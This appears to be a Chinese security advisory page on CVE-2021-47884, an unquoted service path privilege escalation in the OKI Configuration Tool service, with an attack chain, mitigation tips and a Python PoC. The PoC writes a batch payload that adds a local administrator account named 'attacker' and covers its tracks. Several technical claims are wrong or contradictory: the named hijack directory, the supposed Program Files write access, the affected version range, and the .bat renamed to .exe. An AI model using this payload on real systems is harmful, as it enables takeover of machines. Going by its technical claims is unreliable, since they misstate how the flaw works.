IPBUF安全漏洞报告
English
CVE-2021-47884 CVSS 7.8 高危

CVE-2021-47884 OKI Configuration Tool 未引用服务路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47884
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OKI Configuration Tool 1.6.53

相关标签

CVE-2021-47884未引用服务路径权限提升本地攻击OKI Configuration ToolOKI Local Port ManagerWindows服务安全高危漏洞

漏洞概述

CVE-2021-47884是OKI公司生产的OKI Configuration Tool 1.6.53版本中存在的一个高危本地权限提升漏洞。该漏洞位于OKI Local Port Manager服务中,由于其可执行文件路径"C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe"未使用引号包裹,导致Windows服务在启动时存在路径解析问题。攻击者可以利用这一特性,在服务启动路径的中间目录(如C:\Program Files\Okidata\Common\)下植入恶意的portmgrsrv.exe或其他可执行文件。当服务重启或系统启动时,Windows会按照路径顺序首先执行攻击者植入的恶意程序,从而以SYSTEM高权限在目标系统上执行任意代码。此漏洞需要攻击者具备本地低权限访问能力,且无需用户交互即可实现攻击。由于OKI Configuration Tool通常具有较高的系统权限,攻击成功后可实现完整的系统控制。

技术细节

该漏洞的根本原因在于Windows服务配置中可执行文件路径未正确使用引号包裹。在Windows系统中,当服务路径包含空格且未被引号保护时,服务管理器会按照路径中空格分隔的目录顺序依次查找可执行文件。对于路径"C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe",Windows会首先尝试在"C:\Program"目录下查找portmgrsrv.exe,然后在"C:\Program Files\Okidata"目录下查找,最后才在正确位置找到目标文件。攻击者利用这一特性,只需在任意一个中间目录(如C:\Program Files\Okidata\Common\)下放置名为portmgrsrv.exe的恶意可执行文件,即可实现劫持。由于OKI Local Port Manager服务通常以SYSTEM或高级别服务账户运行,恶意代码将以高权限执行,从而实现权限提升。攻击者需要具备目标系统的写入权限,能够在服务路径的中间目录创建文件。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统中安装的OKI Configuration Tool版本,确认版本为1.6.53,并检查OKI Local Port Manager服务状态
STEP 2
步骤2
漏洞识别:使用sc qc命令查询服务配置,确认BINARY_PATH_NAME为未引用路径"C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe",存在空格且未被引号保护
STEP 3
步骤3
权限检查:确认当前用户对服务路径中间目录(如C:\Program Files\Okidata\Common\)具有写入权限,通常低权限用户对Program Files子目录有写权限
STEP 4
步骤4
恶意文件植入:攻击者在服务路径的中间目录(C:\Program Files\Okidata\Common\)下创建名为portmgrsrv.exe的恶意可执行文件,该文件包含后门代码或权限提升逻辑
STEP 5
步骤5
服务触发:等待服务重启或系统重启,当服务启动时Windows按照路径顺序首先找到并执行攻击者植入的恶意portmgrsrv.exe
STEP 6
步骤6
权限提升:恶意代码以SYSTEM高权限执行,攻击者成功创建新的管理员账户或执行其他特权操作,实现完整的系统控制
STEP 7
步骤7
权限维持:攻击者可能删除恶意文件并执行原始服务程序以隐藏痕迹,同时建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47884 PoC - Unquoted Service Path Privilege Escalation # Target: OKI Configuration Tool 1.6.53 - OKI Local Port Manager Service # Author: Vulnerability Research # Note: This is for educational and authorized testing purposes only import os import sys import subprocess import shutil # Configuration SERVICE_NAME = "OKI Local Port Manager" SERVICE_PATH = r"C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe" MALICIOUS_DIR = r"C:\Program Files\Okidata\Common" MALICIOUS_EXE = os.path.join(MALICIOUS_DIR, "portmgrsrv.exe") def check_vulnerability(): """Check if the target service has unquoted service path vulnerability""" try: # Query service configuration using sc command result = subprocess.run( ["sc", "qc", SERVICE_NAME], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if "BINARY_PATH_NAME" in output: lines = output.split('\n') for line in lines: if "BINARY_PATH_NAME" in line: path = line.split("=", 1)[1].strip() # Check if path is unquoted and contains spaces if not path.startswith('"') and " " in path: print(f"[+] VULNERABLE: Unquoted path detected: {path}") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable that will be placed in the unquoted path""" try: # Create directory if it doesn't exist if not os.path.exists(MALICIOUS_DIR): os.makedirs(MALICIOUS_DIR) # Create a simple malicious executable (reverse shell, payload, etc.) # This example creates a simple batch script wrapper malicious_code = '''@echo off REM CVE-2021-47884 Malicious Payload REM In real attack, this would contain actual malicious code REM This creates a new admin user for demonstration net user attacker P@ssw0rd123 /add net localgroup administrators attacker /add REM Clean up and execute legitimate service binary del "%~f0" "C:\\Program Files\\Okidata\\Common\\extend3\\portmgrsrv.exe" ''' # In production, compile to actual executable # For PoC, save as batch file (rename to .exe for actual exploitation) batch_file = os.path.join(MALICIOUS_DIR, "portmgrsrv.bat") with open(batch_file, 'w') as f: f.write(malicious_code) print(f"[+] Malicious batch file created: {batch_file}") print(f"[!] Note: Rename to .exe and place as portmgrsrv.exe for exploitation") return True except PermissionError: print("[-] Permission denied. Run as administrator to create payload.") return False except Exception as e: print(f"[-] Error creating malicious executable: {e}") return False def main(): print("=" * 60) print("CVE-2021-47884 Unquoted Service Path Exploitation PoC") print("Target: OKI Configuration Tool - OKI Local Port Manager") print("=" * 60) if not check_vulnerability(): print("[-] Service not vulnerable or not found.") return if create_malicious_executable(): print("[+] Exploitation prepared.") print("[!] Trigger service restart to execute payload.") print("[!] After exploitation, clean up with: net user attacker /delete") if __name__ == "__main__": main()

影响范围

OKI Configuration Tool < 1.6.53

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:首先,立即停止并禁用OKI Local Port Manager服务,直到完成修复;其次,手动修改服务注册表项,为BINARY_PATH_NAME添加引号包裹路径;最后,检查并限制用户对C:\Program Files\Okidata\Common\目录的写入权限,防止恶意文件植入。建议同时部署端点检测响应(EDR)解决方案,监控异常进程启动行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表